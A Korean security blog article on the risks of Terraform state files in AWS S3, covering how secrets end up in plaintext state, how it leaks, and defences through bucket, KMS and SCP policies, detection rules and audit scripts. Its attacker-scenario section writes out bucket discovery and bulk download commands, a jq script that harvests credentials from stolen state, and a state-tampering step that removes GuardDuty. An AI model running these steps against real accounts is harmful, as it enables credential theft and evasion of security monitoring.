AWS 환경에서 Terraform을 사용하는 조직이라면 반드시 점검해야 할 보안 사례와 방어 전략
Terraform은 IaC(Infrastructure as Code)의 사실상 표준이 되었습니다. AWS 환경에서 리소스를 선언적으로 관리하고, 팀 협업을 위해 State 파일을 S3에 저장하는 것은 권장 사항이기도 합니다.
그런데 이 State 파일이 인프라의 Master Key라는 사실을 제대로 인식하고 있는 팀은 많지 않습니다. DB 패스워드, IAM Access Key, SSH 프라이빗 키, TLS 인증서 — Terraform으로 생성한 모든 시크릿의 원본 값이 평문 JSON으로 State에 기록됩니다.
이 글에서는 Terraform State 파일이 어떻게 노출되고, 공격자가 이를 어떻게 활용하며, 근본적으로 어떻게 방어해야 하는지를 실제 시나리오와 함께 깊이 있게 다룹니다.
State 파일은 Terraform이 관리하는 모든 리소스의 현재 상태를 평문 JSON으로 기록한 것입니다. 단순한 리소스 ID 목록이 아닙니다. 실제 State 파일의 구조를 보면 그 심각성을 바로 체감할 수 있습니다.
{
"type": "aws_db_instance",
"name": "production",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"schema_version": 2,
"attributes": {
"address": "prod-db.abc123.ap-northeast-2.rds.amazonaws.com",
"allocated_storage": 100,
"db_name": "production_app",
"endpoint": "prod-db.abc123.ap-northeast-2.rds.amazonaws.com:3306",
"engine": "mysql",
"engine_version": "8.0.35",
"username": "admin",
"password": "MyPr0dP@ssw0rd!S3cure2024",
"port": 3306,
"publicly_accessible": false,
"vpc_security_group_ids": ["sg-0abc1234def56789"],
"db_subnet_group_name": "prod-private-db-subnet",
"storage_encrypted": true,
"kms_key_id": "arn:aws:kms:ap-northeast-2:123456789012:key/mrk-abc123"
}
}
]
}
스토리지 암호화가 켜져 있어도 State에는 패스워드가 평문으로 남습니다. 암호화는 디스크 레벨이지 State 레벨이 아니기 때문입니다.
{
"type": "aws_iam_access_key",
"name": "deploy_user_key",
"instances": [
{
"attributes": {
"id": "AKIAIOSFODNN7EXAMPLE",
"secret": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"user": "deploy-user",
"status": "Active",
"create_date": "2024-06-15T09:30:00Z"
}
}
]
}
Access Key ID와 Secret Access Key가 모두 노출됩니다. 이 키에 부여된 IAM 정책에 따라 계정 전체 침해로 이어질 수 있습니다.
참고로 ALB에 ACM(AWS Certificate Manager) 인증서를 사용하는 경우, 프라이빗 키는 ACM 내부에서만 관리되며 추출 자체가 불가능합니다. State에도 ACM 인증서의 ARN만 남을 뿐, 프라이빗 키가 노출되지 않습니다.
문제가 되는 건 tls_private_key 리소스를 직접 사용하는 경우입니다. SSH 키 생성, 자체 서명 인증서(내부 mTLS용), 외부 인증서 import를 위한 키 생성 등에서 흔히 발생합니다.
{
"type": "tls_private_key",
"name": "ssh_key",
"instances": [
{
"attributes": {
"algorithm": "RSA",
"rsa_bits": 2048,
"private_key_pem": "-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEA2a2rwplBQLz8EHt5sxxH...\n-----END RSA PRIVATE KEY-----",
"private_key_openssh": "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAA...\n-----END OPENSSH PRIVATE KEY-----",
"public_key_pem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...\n-----END PUBLIC KEY-----",
"public_key_openssh": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ..."
}
}
]
}
SSH 키가 노출되면 해당 키로 접근 가능한 모든 EC2 인스턴스가 침해됩니다. 자체 서명 인증서의 프라이빗 키가 유출되면 내부 서비스 간 mTLS를 우회하거나 MITM(중간자 공격)이 가능해집니다. tls_private_key는 편리하지만 State에 평문으로 남는다는 점을 반드시 인지해야 합니다.
{
"type": "aws_security_group",
"name": "application",
"instances": [
{
"attributes": {
"name": "prod-app-sg",
"vpc_id": "vpc-0abc1234",
"ingress": [
{
"from_port": 443,
"to_port": 443,
"protocol": "tcp",
"cidr_blocks": ["10.0.0.0/16"],
"security_groups": ["sg-0frontend1234"]
},
{
"from_port": 22,
"to_port": 22,
"protocol": "tcp",
"cidr_blocks": ["10.0.100.0/24"],
"description": "Bastion subnet SSH access"
}
],
"egress": [
{
"from_port": 3306,
"to_port": 3306,
"protocol": "tcp",
"security_groups": ["sg-0database5678"]
}
]
}
}
]
}
어떤 서브넷에서 어디로 접근 가능한지, 바스티온 서브넷은 어디인지, DB는 어떤 보안 그룹 뒤에 있는지 — 네트워크 공격 경로를 설계하는 데 필요한 모든 정보가 여기에 있습니다.
| 리소스 타입 | 노출되는 정보 |
|---|---|
aws_secretsmanager_secret_version | 시크릿 값 평문 |
aws_ssm_parameter (SecureString 포함) | 파라미터 값 |
aws_elasticache_replication_group | auth_token (Redis 패스워드) |
aws_redshift_cluster | master_password |
aws_msk_scram_secret_association | Kafka SASL/SCRAM 인증 시크릿 연결 정보 |
aws_lambda_function | 환경변수 전체 (시크릿 포함) |
aws_ecs_task_definition | 컨테이너 환경변수, 시크릿 ARN |
random_password | 생성된 패스워드 원본 값 |
가장 흔한 경로입니다. 팀 협업을 위해 S3 Backend를 설정하면서 보안을 간과합니다.
Case A: 암호화 없는 Backend 설정
# 많은 튜토리얼에서 이렇게만 안내합니다
terraform {
backend "s3" {
bucket = "company-terraform-state"
key = "prod/terraform.tfstate"
region = "ap-northeast-2"
# encrypt = true ← 빠져있음
# kms_key_id = "..." ← 빠져있음
# dynamodb_table = "..." ← locking도 없음
}
}
2023년 1월부터 S3는 모든 신규 객체에 SSE-S3 암호화를 자동 적용하므로, encrypt = true를 빼먹어도 "완전한 평문"으로 저장되지는 않습니다. 하지만 기본 SSE-S3는 AWS가 키를 관리하기 때문에, S3 접근 권한만 있으면 자동으로 복호화됩니다. CMK(Customer Managed Key)를 지정해야 KMS 권한이라는 추가 방어 레이어가 생기므로, kms_key_id를 명시하지 않은 것이 실질적 위험입니다.
Case B: 과도한 버킷 정책
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::123456789012:root"},
"Action": "s3:*",
"Resource": [
"arn:aws:s3:::company-terraform-state",
"arn:aws:s3:::company-terraform-state/*"
]
}
]
}
root 계정에 s3:*를 부여하면, 해당 계정의 모든 IAM Principal — 개발자, CI/CD Role, Lambda 실행 Role, 심지어 임시로 만든 테스트 사용자까지 — 이 State 파일에 접근할 수 있습니다.
Case C: VPC Endpoint Policy 미설정
프라이빗 서브넷에서 S3 Gateway Endpoint를 사용하는데, Endpoint Policy를 기본값(Full Access)으로 두면 해당 VPC 내 침해된 인스턴스에서 State 버킷에 자유롭게 접근할 수 있습니다.
# terraform plan 출력 예시
# 현재 AWS Provider에서 password 필드는 Sensitive로 지정되어
# plan 출력에는 아래와 같이 마스킹됩니다
#
# ~ resource "aws_db_instance" "production" {
# ~ password = (sensitive value)
# }
terraform plan에서는 마스킹되지만, 이것이 안전하다는 뜻은 아닙니다. terraform show -json으로 State를 직접 조회하면 시크릿이 평문으로 출력되고, 이 JSON 출력을 CI/CD에서 후처리에 사용하는 파이프라인이라면 로그에 그대로 남습니다. 또한 Terraform 이전 버전이나 서드파티 Provider 중에는 Sensitive 마킹이 누락된 경우도 있어, Provider 버전과 리소스별로 마스킹 여부가 다를 수 있습니다.
# .gitignore에 누락된 경우
$ git log --all --full-history -- "*.tfstate"
commit a1b2c3d (2024-03-15)
initial infrastructure setup
# State 파일이 git history에 영원히 남음
$ git show a1b2c3d:terraform.tfstate | head -50
.gitignore에 *.tfstate를 넣었어도, 한 번이라도 커밋한 적이 있으면 git history에 남아있습니다. git rm으로 삭제해도 history에서는 제거되지 않습니다.
# 개발자 노트북에 남아있는 파일들
$ find ~ -name "*.tfstate*" 2>/dev/null
/Users/dev/projects/infra/.terraform/terraform.tfstate
/Users/dev/projects/infra/terraform.tfstate.backup
/Users/dev/Downloads/terraform.tfstate # S3에서 다운받아 확인한 것
로컬에 남은 State 파일은 노트북 분실, 악성코드 감염, 퇴사자 장비 미회수 등으로 유출될 수 있습니다.
# 버전닝이 켜져 있으면 모든 과거 버전에 접근 가능
aws s3api list-object-versions \
--bucket company-terraform-state \
--prefix prod/terraform.tfstate
# 6개월 전 State 다운로드 — 당시 사용하던 패스워드가 들어있음
aws s3api get-object \
--bucket company-terraform-state \
--key prod/terraform.tfstate \
--version-id "abc123-old-version" \
old-state.json
패스워드를 로테이션했어도 로테이션 전 패스워드가 과거 State 버전에 그대로 남아있습니다. 공격자 입장에서는 최신 State뿐 아니라 과거 버전까지 확인하는 것이 기본입니다.
공격자가 어떤 경로로든 IAM 크리덴셜을 확보한 뒤, 가장 먼저 하는 일 중 하나입니다.
# 방법 1: 버킷 이름 패턴으로 탐색
aws s3 ls | grep -iE '(terraform|tfstate|state|infra|iac)'
# 방법 2: 알려진 Backend 설정 파일에서 버킷 이름 추출
# (코드 저장소가 침해된 경우)
grep -r 'backend "s3"' --include="*.tf" -A 5
# 방법 3: Athena로 CloudTrail Data Event 로그에서 S3 접근 패턴 분석
# (lookup-events API는 Management Events만 조회 가능하므로
# S3 GetObject 같은 Data Events는 Athena 또는 CloudTrail Lake로 조회해야 합니다)
SELECT useridentity.arn, requestparameters
FROM cloudtrail_logs
WHERE eventsource = 's3.amazonaws.com'
AND eventname = 'GetObject'
AND requestparameters LIKE '%tfstate%'
ORDER BY eventtime DESC
LIMIT 20;
# 전체 구조 파악
aws s3 ls s3://company-terraform-state/ --recursive
# 출력 예시
# 2025-12-01 14:23:01 524288 prod/terraform.tfstate
# 2025-12-01 14:23:01 518400 prod/terraform.tfstate.backup
# 2025-11-28 09:15:33 256000 staging/terraform.tfstate
# 2025-11-20 16:45:22 128000 network/terraform.tfstate
# 2025-11-15 11:30:44 384000 security/terraform.tfstate
# 2025-10-30 08:20:11 64000 monitoring/terraform.tfstate
# 전부 다운로드
mkdir stolen-state && aws s3 sync s3://company-terraform-state/ ./stolen-state/
환경별(prod, staging), 레이어별(network, security, monitoring) State가 전부 넘어갑니다.
공격자는 State 파일에서 시크릿을 자동 추출하는 스크립트를 사용합니다.
#!/bin/bash
# extract_secrets.sh — State 파일에서 민감 정보 자동 추출
STATE_DIR="./stolen-state"
echo "=== DATABASE CREDENTIALS ==="
find "$STATE_DIR" -name "*.tfstate" -exec \
jq -r '.resources[] |
select(.type == "aws_db_instance" or .type == "aws_rds_cluster") |
.instances[].attributes |
"[\(.engine)] \(.endpoint // .address) | user: \(.master_username // .username) | pass: \(.master_password // .password)"
' {} \;
echo -e "\n=== IAM ACCESS KEYS ==="
find "$STATE_DIR" -name "*.tfstate" -exec \
jq -r '.resources[] |
select(.type == "aws_iam_access_key") |
.instances[].attributes |
"user: \(.user) | key: \(.id) | secret: \(.secret) | status: \(.status)"
' {} \;
echo -e "\n=== SSH / TLS PRIVATE KEYS ==="
find "$STATE_DIR" -name "*.tfstate" -exec \
jq -r '.resources[] |
select(.type == "tls_private_key" or .type == "aws_key_pair") |
.instances[].attributes |
"type: \(.algorithm // "unknown") | key_name: \(.key_name // "embedded")"
' {} \;
echo -e "\n=== SECRETS MANAGER VALUES ==="
find "$STATE_DIR" -name "*.tfstate" -exec \
jq -r '.resources[] |
select(.type == "aws_secretsmanager_secret_version") |
.instances[].attributes |
"secret_id: \(.secret_id) | value: \(.secret_string)"
' {} \;
echo -e "\n=== REDIS AUTH TOKENS ==="
find "$STATE_DIR" -name "*.tfstate" -exec \
jq -r '.resources[] |
select(.type == "aws_elasticache_replication_group") |
.instances[].attributes |
select(.auth_token != null) |
"cluster: \(.replication_group_id) | auth_token: \(.auth_token)"
' {} \;
echo -e "\n=== LAMBDA ENVIRONMENT VARIABLES ==="
find "$STATE_DIR" -name "*.tfstate" -exec \
jq -r '.resources[] |
select(.type == "aws_lambda_function") |
.instances[].attributes |
"function: \(.function_name) | env: \(.environment)"
' {} \;
echo -e "\n=== RANDOM PASSWORDS ==="
find "$STATE_DIR" -name "*.tfstate" -exec \
jq -r '.resources[] |
select(.type == "random_password" or .type == "random_string") |
.instances[].attributes |
"id: \(.id // .name) | result: \(.result)"
' {} \;
echo -e "\n=== NETWORK TOPOLOGY ==="
find "$STATE_DIR" -name "*.tfstate" -exec \
jq -r '.resources[] |
select(.type == "aws_subnet") |
.instances[].attributes |
"[\(.tags.Name // .id)] cidr: \(.cidr_block) | az: \(.availability_zone) | public: \(.map_public_ip_on_launch)"
' {} \;
시크릿과 함께 네트워크 구조까지 파악되므로, 공격 경로를 정밀하게 설계할 수 있습니다.
# 보안 그룹 간 관계 추출 — 어디서 어디로 접근 가능한지
jq -r '.resources[] |
select(.type == "aws_security_group_rule" or .type == "aws_security_group") |
.instances[].attributes |
select(.ingress != null) |
.ingress[] |
"port \(.from_port)-\(.to_port) from \(.cidr_blocks // .security_groups)"
' prod/terraform.tfstate
S3 버킷에 쓰기 권한까지 있다면, 공격자는 State를 변조할 수 있습니다.
# State에서 GuardDuty 리소스를 제거
jq 'del(.resources[] | select(.type == "aws_guardduty_detector"))' \
terraform.tfstate > modified.tfstate
# 변조된 State 업로드
aws s3 cp modified.tfstate \
s3://company-terraform-state/prod/terraform.tfstate
# 다음 terraform plan/apply 시:
# Terraform은 코드(desired) vs State(last known) vs 실제 인프라(actual) 세 가지를 비교합니다.
#
# [State에서 리소스를 삭제한 경우]
# - Terraform은 GuardDuty가 "자신이 관리하는 리소스가 아님"으로 인식
# - 코드에 GuardDuty 리소스가 있으면 "새로 생성"하려고 시도 → 이미 존재하므로 에러
# - 코드에서도 제거되어 있으면 GuardDuty가 Terraform 관리 밖으로 빠져 drift 감지 불가
#
# [State에서 리소스 속성을 변경한 경우]
# - Terraform은 State(변조된 값)와 실제 인프라를 비교하여 drift로 감지
# - 코드의 desired state로 맞추려 하므로, 코드가 원래 상태라면 원복될 수 있음
# - 하지만 코드와 State를 동시에 변조하면 apply 시 실제 인프라가 변경됨
#
# 가장 현실적인 위험: State에서 보안 리소스(GuardDuty, CloudTrail, Config 등)를 제거하여
# Terraform이 해당 리소스를 인식하지 못하게 만든 뒤, 별도 API로 직접 삭제하는 패턴
State 파일 접근을 탐지하려면 S3 Data Events가 필수입니다. Management Events만으로는 GetObject, PutObject가 기록되지 않습니다.
{
"Name": "terraform-state-monitoring",
"FieldSelectors": [
{
"Field": "eventCategory",
"Equals": ["Data"]
},
{
"Field": "resources.type",
"Equals": ["AWS::S3::Object"]
},
{
"Field": "resources.ARN",
"StartsWith": [
"arn:aws:s3:::company-terraform-state/"
]
}
]
}
| 패턴 | 의미 | 심각도 |
|---|---|---|
CI/CD Role이 아닌 Principal의 GetObject | 비인가 State 접근 | 높음 |
| 짧은 시간 내 여러 환경의 State 순차 다운로드 | 정찰 활동 | 높음 |
PutObject가 CI/CD 외부에서 발생 | State 변조 시도 | 매우 높음 |
ListObjectVersions 호출 | 과거 State 접근 시도 | 높음 |
| 평소와 다른 IP 대역, 시간대 | 탈취된 크리덴셜 사용 | 중간 |
{
"source": ["aws.s3"],
"detail-type": ["AWS API Call via CloudTrail"],
"detail": {
"eventName": ["GetObject", "PutObject", "DeleteObject"],
"requestParameters": {
"bucketName": ["company-terraform-state"]
},
"userIdentity": {
"arn": [
{
"anything-but": {
"prefix": "arn:aws:sts::123456789012:assumed-role/terraform-cicd-role"
}
}
]
}
}
}
CI/CD Role을 제외한 모든 Principal의 State 접근을 실시간으로 알립니다. SNS → Slack 또는 Lambda → 자동 차단으로 연결할 수 있습니다.
CloudTrail 로그를 OpenSearch로 수집하고 있다면, 아래 쿼리로 의심 활동을 탐지할 수 있습니다.
{
"query": {
"bool": {
"must": [
{ "match": { "eventName": "GetObject" }},
{ "wildcard": { "requestParameters.key": "*.tfstate*" }}
],
"must_not": [
{ "match": { "userIdentity.arn": "terraform-cicd-role" }}
],
"filter": [
{ "range": { "@timestamp": { "gte": "now-1h" }}}
]
}
}
}
# === State 저장용 S3 버킷 ===
resource "aws_s3_bucket" "terraform_state" {
bucket = "company-terraform-state-${data.aws_caller_identity.current.account_id}"
# 계정 ID를 포함시켜 버킷 이름 추측을 어렵게 합니다
}
# 서버 사이드 암호화 — CMK 사용 필수
resource "aws_s3_bucket_server_side_encryption_configuration" "state" {
bucket = aws_s3_bucket.terraform_state.id
rule {
apply_server_side_encryption_by_default {
sse_algorithm = "aws:kms"
kms_master_key_id = aws_kms_key.terraform_state.arn
}
bucket_key_enabled = true
}
}
# 버전닝 — 변조 감지 + 복구용
resource "aws_s3_bucket_versioning" "state" {
bucket = aws_s3_bucket.terraform_state.id
versioning_configuration {
status = "Enabled"
}
}
# 퍼블릭 접근 완전 차단
resource "aws_s3_bucket_public_access_block" "state" {
bucket = aws_s3_bucket.terraform_state.id
block_public_acls = true
block_public_policy = true
ignore_public_acls = true
restrict_public_buckets = true
}
# Object Lock — 삭제/변조 방지
resource "aws_s3_bucket_object_lock_configuration" "state" {
bucket = aws_s3_bucket.terraform_state.id
rule {
default_retention {
mode = "GOVERNANCE"
days = 30
}
}
}
# 수명 주기 — 과거 버전 정리 (시크릿 잔류 방지)
resource "aws_s3_bucket_lifecycle_configuration" "state" {
bucket = aws_s3_bucket.terraform_state.id
rule {
id = "expire-old-versions"
status = "Enabled"
noncurrent_version_expiration {
noncurrent_days = 90
}
noncurrent_version_transition {
noncurrent_days = 30
storage_class = "GLACIER"
}
}
}
# 액세스 로깅 — 별도 버킷에 접근 로그 기록
resource "aws_s3_bucket_logging" "state" {
bucket = aws_s3_bucket.terraform_state.id
target_bucket = aws_s3_bucket.access_logs.id
target_prefix = "terraform-state-access/"
}
# KMS 키 — State 암호화 전용
resource "aws_kms_key" "terraform_state" {
description = "Terraform State encryption key"
deletion_window_in_days = 30
enable_key_rotation = true
policy = jsonencode({
Version = "2012-10-17"
Statement = [
{
Sid = "AllowCICDRoleOnly"
Effect = "Allow"
Principal = {
AWS = "arn:aws:iam::${data.aws_caller_identity.current.account_id}:role/terraform-cicd-role"
}
Action = [
"kms:Decrypt",
"kms:Encrypt",
"kms:GenerateDataKey"
]
Resource = "*"
},
{
Sid = "AllowKeyAdministration"
Effect = "Allow"
Principal = {
AWS = "arn:aws:iam::${data.aws_caller_identity.current.account_id}:role/security-admin"
}
Action = [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
]
Resource = "*"
}
]
})
}
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowOnlyCICDRole",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::123456789012:role/terraform-cicd-role"
},
"Action": [
"s3:GetObject",
"s3:PutObject",
"s3:ListBucket",
"s3:GetBucketVersioning"
],
"Resource": [
"arn:aws:s3:::company-terraform-state-123456789012",
"arn:aws:s3:::company-terraform-state-123456789012/*"
]
},
{
"Sid": "DenyAllOthers",
"Effect": "Deny",
"Principal": "*",
"Action": "s3:*",
"Resource": [
"arn:aws:s3:::company-terraform-state-123456789012",
"arn:aws:s3:::company-terraform-state-123456789012/*"
],
"Condition": {
"StringNotEquals": {
"aws:PrincipalArn": [
"arn:aws:iam::123456789012:role/terraform-cicd-role",
"arn:aws:iam::123456789012:role/security-admin"
]
}
}
},
{
"Sid": "DenyUnencryptedUploads",
"Effect": "Deny",
"Principal": "*",
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::company-terraform-state-123456789012/*",
"Condition": {
"StringNotEquals": {
"s3:x-amz-server-side-encryption": "aws:kms"
}
}
},
{
"Sid": "EnforceTLSOnly",
"Effect": "Deny",
"Principal": "*",
"Action": "s3:*",
"Resource": [
"arn:aws:s3:::company-terraform-state-123456789012",
"arn:aws:s3:::company-terraform-state-123456789012/*"
],
"Condition": {
"Bool": {
"aws:SecureTransport": "false"
}
}
}
]
}
State locking용 DynamoDB 테이블도 보안이 필요합니다.
resource "aws_dynamodb_table" "terraform_lock" {
name = "terraform-state-lock"
billing_mode = "PAY_PER_REQUEST"
hash_key = "LockID"
attribute {
name = "LockID"
type = "S"
}
server_side_encryption {
enabled = true
kms_key_arn = aws_kms_key.terraform_state.arn
}
point_in_time_recovery {
enabled = true
}
}
가장 중요한 방어는 시크릿이 State에 들어가지 않는 아키텍처를 만드는 것입니다.
RDS — manage_master_user_password 사용
# ❌ 잘못된 패턴: 패스워드가 State에 평문 저장
resource "aws_db_instance" "bad_example" {
identifier = "prod-db"
engine = "mysql"
instance_class = "db.r6g.large"
username = "admin"
password = var.db_password # State에 평문으로 남음
}
# ✅ 올바른 패턴: RDS가 패스워드를 자체 관리
resource "aws_db_instance" "good_example" {
identifier = "prod-db"
engine = "mysql"
instance_class = "db.r6g.large"
username = "admin"
manage_master_user_password = true
master_user_secret_kms_key_id = aws_kms_key.db.arn
# Terraform이 패스워드를 모르므로 State에도 남지 않음
# RDS가 Secrets Manager에 자동으로 패스워드 저장/로테이션
}
IAM Access Key — OIDC Federation으로 대체
# ❌ 잘못된 패턴: Access Key의 Secret이 State에 남음
resource "aws_iam_access_key" "bad_example" {
user = aws_iam_user.deploy.name
# State에 secret key가 평문 저장
}
# ✅ 올바른 패턴: OIDC로 Access Key 자체를 제거
resource "aws_iam_openid_connect_provider" "github" {
url = "https://token.actions.githubusercontent.com"
client_id_list = ["sts.amazonaws.com"]
thumbprint_list = ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]
}
resource "aws_iam_role" "github_actions" {
name = "github-actions-deploy"
assume_role_policy = jsonencode({
Version = "2012-10-17"
Statement = [{
Effect = "Allow"
Principal = {
Federated = aws_iam_openid_connect_provider.github.arn
}
Action = "sts:AssumeRoleWithWebIdentity"
Condition = {
StringEquals = {
"token.actions.githubusercontent.com:aud" = "sts.amazonaws.com"
}
StringLike = {
"token.actions.githubusercontent.com:sub" = "repo:my-org/my-repo:ref:refs/heads/main"
}
}
}]
})
}
Secrets Manager — 동적 참조 사용
# ❌ 잘못된 패턴
resource "aws_secretsmanager_secret_version" "bad_example" {
secret_id = aws_secretsmanager_secret.api_key.id
secret_string = var.api_key # State에 평문 저장
}
# ✅ 올바른 패턴: Terraform 외부에서 시크릿 값 관리
resource "aws_secretsmanager_secret" "good_example" {
name = "prod/api-key"
kms_key_id = aws_kms_key.secrets.arn
# 시크릿 "값"은 Terraform이 아닌
# AWS CLI, 콘솔, 또는 별도 자동화 도구로 설정
# State에는 시크릿의 ARN만 남음
}
random_password — sensitive 플래그 활용
resource "random_password" "db" {
length = 32
special = true
}
# Terraform 1.4+ 에서는 sensitive 변수가 plan 출력에서 마스킹되지만
# State에는 여전히 평문으로 저장됩니다.
# 가능하면 random_password 대신 RDS manage_master_user_password를 사용하세요.
Organization 레벨에서 State 버킷에 대한 위험 작업을 차단합니다.
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "ProtectStateBucket",
"Effect": "Deny",
"Action": [
"s3:DeleteBucket",
"s3:DeleteBucketPolicy",
"s3:PutBucketPublicAccessBlock",
"s3:PutBucketAcl",
"s3:PutBucketPolicy"
],
"Resource": "arn:aws:s3:::company-terraform-state-*",
"Condition": {
"StringNotEquals": {
"aws:PrincipalArn": "arn:aws:iam::*:role/security-admin"
}
}
}
]
}
지금 당장 실행할 수 있는 점검 스크립트들입니다.
#!/bin/bash
# check_state_secrets.sh — State 파일 내 민감 정보 탐색
STATE_FILE="${1:-terraform.tfstate}"
echo "=== Checking: $STATE_FILE ==="
echo ""
# 민감 리소스 타입 확인
echo "[1] Sensitive Resource Types:"
jq -r '.resources[].type' "$STATE_FILE" | sort -u | \
grep -iE '(access_key|secret|private_key|password|random_password|random_string)' | \
while read -r type; do
count=$(jq -r "[.resources[] | select(.type == \"$type\")] | length" "$STATE_FILE")
echo " ⚠️ $type ($count instances)"
done
echo ""
# 평문 시크릿 키워드 검색
echo "[2] Plaintext Secrets Found:"
jq -r '.. | objects | to_entries[] |
select(.key | test("password|secret|private_key|auth_token|api_key|access_key"; "i")) |
select(.value | type == "string") |
select(.value | length > 0) |
select(.value != "****") |
" ⚠️ \(.key) = \(.value | .[0:20])..."
' "$STATE_FILE" 2>/dev/null | head -30
echo ""
# AKIA (AWS Access Key) 패턴 검색
echo "[3] AWS Access Keys in State:"
grep -oE 'AKIA[A-Z0-9]{16}' "$STATE_FILE" | sort -u | \
while read -r key; do
echo " 🔴 $key"
done
echo ""
# Private Key 존재 확인
echo "[4] Private Keys in State:"
if grep -q "BEGIN.*PRIVATE KEY" "$STATE_FILE"; then
echo " 🔴 Private key(s) found in state!"
grep -c "BEGIN.*PRIVATE KEY" "$STATE_FILE" | xargs -I {} echo " Count: {}"
else
echo " ✅ No private keys found"
fi
#!/bin/bash
# check_state_bucket_security.sh
BUCKET="${1:-company-terraform-state}"
echo "=== S3 State Bucket Security Check: $BUCKET ==="
echo ""
# 1. 암호화 확인
echo "[1] Server-Side Encryption:"
encryption=$(aws s3api get-bucket-encryption --bucket "$BUCKET" 2>&1)
if echo "$encryption" | grep -q "ServerSideEncryptionConfiguration"; then
algo=$(echo "$encryption" | jq -r '.ServerSideEncryptionConfiguration.Rules[0].ApplyServerSideEncryptionByDefault.SSEAlgorithm')
echo " ✅ Enabled ($algo)"
if [ "$algo" == "aws:kms" ]; then
key=$(echo "$encryption" | jq -r '.ServerSideEncryptionConfiguration.Rules[0].ApplyServerSideEncryptionByDefault.KMSMasterKeyID')
echo " KMS Key: $key"
fi
else
echo " 🔴 NOT ENABLED — State files stored unencrypted!"
fi
echo ""
# 2. 버전닝 확인
echo "[2] Versioning:"
versioning=$(aws s3api get-bucket-versioning --bucket "$BUCKET")
status=$(echo "$versioning" | jq -r '.Status // "Disabled"')
if [ "$status" == "Enabled" ]; then
echo " ✅ Enabled"
else
echo " ⚠️ $status — Cannot detect state tampering"
fi
echo ""
# 3. 퍼블릭 접근 차단 확인
echo "[3] Public Access Block:"
pab=$(aws s3api get-public-access-block --bucket "$BUCKET" 2>&1)
if echo "$pab" | grep -q "PublicAccessBlockConfiguration"; then
all_blocked=$(echo "$pab" | jq '[.PublicAccessBlockConfiguration | to_entries[] | .value] | all')
if [ "$all_blocked" == "true" ]; then
echo " ✅ All public access blocked"
else
echo " 🔴 Some public access settings are not blocked!"
echo "$pab" | jq '.PublicAccessBlockConfiguration'
fi
else
echo " 🔴 No public access block configured!"
fi
echo ""
# 4. 버킷 정책 확인
echo "[4] Bucket Policy Principals:"
policy=$(aws s3api get-bucket-policy --bucket "$BUCKET" --query 'Policy' --output text 2>&1)
if echo "$policy" | jq -e '.' > /dev/null 2>&1; then
echo "$policy" | jq -r '.Statement[] |
" \(.Effect) | Principal: \(.Principal) | Actions: \(.Action)"'
else
echo " ⚠️ No bucket policy (relying on IAM policies only)"
fi
echo ""
# 5. 액세스 로깅 확인
echo "[5] Access Logging:"
logging=$(aws s3api get-bucket-logging --bucket "$BUCKET")
if echo "$logging" | jq -e '.LoggingEnabled' > /dev/null 2>&1; then
target=$(echo "$logging" | jq -r '.LoggingEnabled.TargetBucket')
echo " ✅ Enabled (target: $target)"
else
echo " ⚠️ Not enabled — Cannot audit state file access"
fi
# 현재 저장소에서 State 파일이 커밋된 적 있는지 확인
echo "=== Git History Check ==="
git log --all --diff-filter=A --name-only --pretty="" | \
grep -iE '\.tfstate' | sort -u | \
while read -r file; do
commit=$(git log --all --diff-filter=A --pretty=format:"%h %ai %an" -- "$file" | head -1)
echo " 🔴 $file (added in: $commit)"
done
모든 보안 설정을 적용한 최종 Backend 설정입니다.
# backend.tf — Production-ready Terraform Backend
terraform {
required_version = ">= 1.5.0"
backend "s3" {
bucket = "company-terraform-state-123456789012"
key = "prod/terraform.tfstate"
region = "ap-northeast-2"
encrypt = true
kms_key_id = "arn:aws:kms:ap-northeast-2:123456789012:key/mrk-state-key"
dynamodb_table = "terraform-state-lock"
# 추가 보안 설정
skip_region_validation = false
skip_credentials_validation = false
}
}
manage_master_user_password로 RDS 패스워드 관리 전환Terraform State 파일은 인프라의 청사진이자 Master Key입니다. S3 Backend를 사용하는 것은 올바른 선택이지만, 그 버킷은 프로덕션 데이터베이스보다 더 높은 수준의 보안이 필요합니다.
핵심은 세 가지입니다.
첫째, 시크릿이 State에 들어가지 않는 아키텍처를 만드세요. manage_master_user_password, OIDC Federation, Secrets Manager 동적 참조를 활용하면 State에 평문 시크릿이 남을 일이 없습니다.
둘째, State 버킷 접근을 CI/CD Role로 제한하세요. 명시적 Deny 정책으로 다른 모든 Principal의 접근을 차단하고, KMS 키 정책까지 분리하면 이중 방어가 됩니다.
셋째, 접근을 감시하고 이상을 탐지하세요. S3 Data Events + EventBridge + OpenSearch 조합으로 비인가 접근을 실시간 탐지하고 자동 대응할 수 있습니다.
State 파일 보안은 선택이 아니라 필수입니다. 지금 바로 점검을 시작하세요.